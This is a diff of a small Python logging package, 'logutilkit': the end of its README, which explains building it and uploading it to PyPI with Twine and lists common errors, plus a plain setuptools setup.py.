Use twine to upload the distribution packages. First, install Twine:
|
|
100
|
+
```bash
|
|
101
|
+
python3 -m pip install --user --upgrade twine
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
> Note: On Windows, configure your environment variables and restart your terminal if needed.
|
|
105
|
+
|
|
106
|
+
Rebuild the package:
|
|
107
|
+
```bash
|
|
108
|
+
python3 setup.py sdist bdist_wheel
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
Upload all archives in the dist directory using Twine:
|
|
112
|
+
```bash
|
|
113
|
+
twine upload dist/*
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
You will be prompted to enter your PyPI username and password. After completion, you should see output similar to:
|
|
117
|
+
```
|
|
118
|
+
Enter your username: Tinywan
|
|
119
|
+
Enter your password:
|
|
120
|
+
Uploading distributions to https://upload.pypi.org/legacy/
|
|
121
|
+
Uploading logutilkit-0.52-py3-none-any.whl
|
|
122
|
+
100%|████████████████████████████████████| 10.5k/10.5k [00:03<00:00, 3.31kB/s]
|
|
123
|
+
Uploading logutilkit-0.52.tar.gz
|
|
124
|
+
100%|████████████████████████████████████| 9.50k/9.50k [00:01<00:00, 9.24kB/s]
|
|
125
|
+
```
|
|
126
|
+
|
|
127
|
+
## Common Issues
|
|
128
|
+
|
|
129
|
+
### UnicodeDecodeError
|
|
130
|
+
```
|
|
131
|
+
UnicodeDecodeError: 'gbk' codec can't decode byte 0x80 in position 197: illegal multibyte sequence
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
Solutions:
|
|
135
|
+
- Solution 1: `FILE_OBJECT = open('order.log', 'r', encoding='UTF-8')`
|
|
136
|
+
- Solution 2: `FILE_OBJECT = open('order.log', 'rb')`
|
|
137
|
+
|
|
138
|
+
### Twine Command Not Found
|
|
139
|
+
```
|
|
140
|
+
twine : The term 'twine' is not recognized as a cmdlet, function, script file, or operable program.
|
|
141
|
+
```
|
|
142
|
+
|
|
143
|
+
Configure your environment variables to include the Python Scripts directory.
|
|
144
|
+
|
|
145
|
+
## Resources
|
|
146
|
+
|
|
147
|
+
- Official Packaging Tutorial: https://packaging.python.org/tutorials/packaging-projects/
|
|
148
|
+
- PyPI Account Management: https://pypi.org/manage/account/
|
|
149
|
+
|
|
150
|
+
## License
|
|
151
|
+
|
|
152
|
+
MIT License
|
|
153
|
+
|
|
154
|
+
## Author
|
|
155
|
+
|
|
156
|
+
Tinywan (756684177@qq.com)
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
logutilkit
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
#!/usr/bin/python3
|
|
2
|
+
import setuptools
|
|
3
|
+
|
|
4
|
+
with open("README.md", "r", encoding='UTF-8') as fh:
|
|
5
|
+
long_description = fh.read()
|
|
6
|
+
|
|
7
|
+
setuptools.setup(
|
|
8
|
+
name="logutilkit",
|
|
9
|
+
version="1.0.1",
|
|
10
|
+
author="andresondev0000",
|
|
11
|
+
author_email="shiningup1996@gmail.com",
|
|
12
|
+
description="A small log package",
|
|
13
|
+
long_description=long_description,
|
|
14
|
+
long_description_content_type="text/markdown",
|
|
15
|
+
url="https://github.com/andresondev0000/logutilkit",
|
|
16
|
+
packages=setuptools.find_packages(),
|
|
17
|
+
classifiers=[
|
|
18
|
+
"Programming Language :: Python :: 3",
|
|
19
|
+
"License :: OSI Approved :: MIT License",
|
|
20
|
+
"Operating System :: OS Independent",
|
|
21
|
+
],
|
|
22
|
+
)
|